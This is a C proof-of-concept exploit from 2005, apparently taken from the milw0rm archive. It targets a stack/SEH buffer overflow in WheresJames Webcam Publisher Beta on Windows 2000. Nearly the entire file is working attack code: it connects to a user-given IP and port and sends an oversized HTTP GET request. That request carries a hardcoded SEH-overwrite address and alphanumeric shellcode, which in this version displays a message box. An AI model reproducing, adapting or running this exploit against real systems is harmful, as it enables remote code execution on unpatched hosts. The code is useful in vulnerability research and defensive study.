/*
* WheresJames Webcam Publisher Beta 2.0.0014 POC (www.wheresjames.com)
*
*
* Bug and Exploit by : Miguel Tarascó Acuña - Haxorcitos.com 2005
* Tarako AT gmail.com - Tarako AT Haxorcitos.com
*
* Platforms tested:
*
* - Windows 2000 SP4 Spanish
* - Probably All Windows 2000 versions
*
*
* Exploit Date: 15/April/2005
*
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* Little Explanation:
*
* Buffer must only have bytes between 0x20 and 0x7A, this limits you to use
* a generic shellcode.
* I created a harcoded MessageBoxA alphanumeric Shellcode to run with this POC
* Also the offset referenced by the Call ECX SEH handler overwriten, must contain
* only bytes between 0x20 and 0x7A
*
* 77F69B9F 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
* 77F69BA2 FFD1 CALL ECX
*
* stack
* 00000000
* 00000000
* XXXXXXXX <-- EBX points to HERE (XX >= 0x20 && XX <= 0x7A)
* YYYYYYYY <-- This DWORD overwrites the SEH handler (the flow is taken in the CALL ECX)
* 00000000
* 00000000
*
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
#define TIMEOUT 1
#define TOPHEADER "GET "
#define MIDDLEHEADER "\nHost: "
#define BOTTOMHEADER "\nUser-Agent: User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
Accept: */*\n\
Accept-Language: es\n\
Accept-Encoding: gzip,deflate\n\
Keep-Alive: 100\n\
Connection: keep-alive\r\n\r\n"
#define BUFFERLEN 5000
char shellcode[] = // little harcoded alphanumeric "shellcode"
// haaaaX5aaaaP[H-,F3T--F3U5!@z!ShkitohTaraTZSSRSSPÃ
"\x68\x61\x61\x61\x61" // PUSH 61616161 ;
"\x58" // POP EAX ; EAX = 61616161
"\x35\x61\x61\x61\x61" // XOR EAX,61616161 ; EAX = 00000000
"\x50" // PUSH EAX ;
"\x5B" // POP EBX ; EBX = 00000000
"\x48" // DEC EAX ; EAX = FFFFFFFF
"\x2D\x2C\x46\x33\x54" // SUB EAX,5433462C ; EAX = ABCCB9D3
"\x2D\x2D\x46\x33\x55" // SUB EAX,5533462D ; EAX = 569973A6
"\x35\x21\x40\x7A\x21" // XOR EAX,217A4021 ; EAX = 77E33387 USER32.MessageBoxA (Win2kSP4)
"\x53" // PUSH EBX ;
"\x68\x6B\x69\x74\x6F" // PUSH 6F74696B ; ASCII "kito"
"\x68\x54\x61\x72\x61" // PUSH 61726154 ; ASCII "Tara"
"\x54" // PUSH ESP ;
"\x5A" // POP EDX ; ASCII "Tarakito"
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x52" // PUSH EDX ; Tarakito
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x50" // PUSH EAX ; MessageBoxA
"\xC3"; // RETN
struct { char *name; long offset; } supported[] = {
// 0x72712F5E (clbcatq.dll 2000.2.3511.0) -> 83C108 = ADD ECX,8 + FFD1 = CALL ECX
{"Windows 2000 Pro SP4 Spanish", 0x72712F5E },
{"Crash", 0x41414141 }
},VERSIONES;
/******************************************************************************/
void ShowHeader(int argc,char *argv[]) {
int i;
printf("\n WheresJames Webcam Publisher Beta 2.0.0014 Buffer Overflow POC\n");
printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n");
printf("\n Windows Versions:\n");
printf(" ---------------------------------------------\n");
for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
printf(" %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
}
printf(" ---------------------------------------------\n\n");
if (argc<4) {
printf(" Usage: %s <IP> <Port> <Option>\n",argv[0]);
exit(1);
exit(1);
}
}
/******************************************************************************/
void main(int argc, char *argv[]) {
SOCKET s;
WSADATA HWSAdata;
struct sockaddr_in sa;
char *buffer=NULL;
ShowHeader(argc,argv);
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) {
printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError());
exit(1);
}
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
printf("\n [e] Error: socket():%d\n", WSAGetLastError());
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(atoi(argv[2]));
sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
printf("\n [e] Error: connect()");
exit(1);
}
printf(" [i] Connected : Yes\n");
printf(" [i] Target : %s\n",supported[atoi(argv[3])].name);
buffer=(char*)malloc(strlen(TOPHEADER)+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+1+strlen(argv[2])+strlen(BOTTOMHEADER)+1);
memset(buffer,0,sizeof(buffer));
memcpy(buffer,TOPHEADER,strlen(TOPHEADER));
memset(buffer+strlen(TOPHEADER),'A',BUFFERLEN);
memcpy(buffer+strlen(TOPHEADER)+1052,&supported[atoi(argv[3])].offset,sizeof(long));
memcpy(buffer+strlen(TOPHEADER)+1060,shellcode,strlen(shellcode));
memcpy(buffer+BUFFERLEN,MIDDLEHEADER,strlen(MIDDLEHEADER));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER),argv[1],strlen(argv[1]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1]),":",strlen(":"));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":"),argv[2],strlen(argv[2]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":")+strlen(argv[2]),BOTTOMHEADER,strlen(BOTTOMHEADER));
send(s,buffer,strlen(buffer),0);
printf(" [i] Buffer sent\n\n");
closesocket(s);
}
// milw0rm.com [2005-04-18]
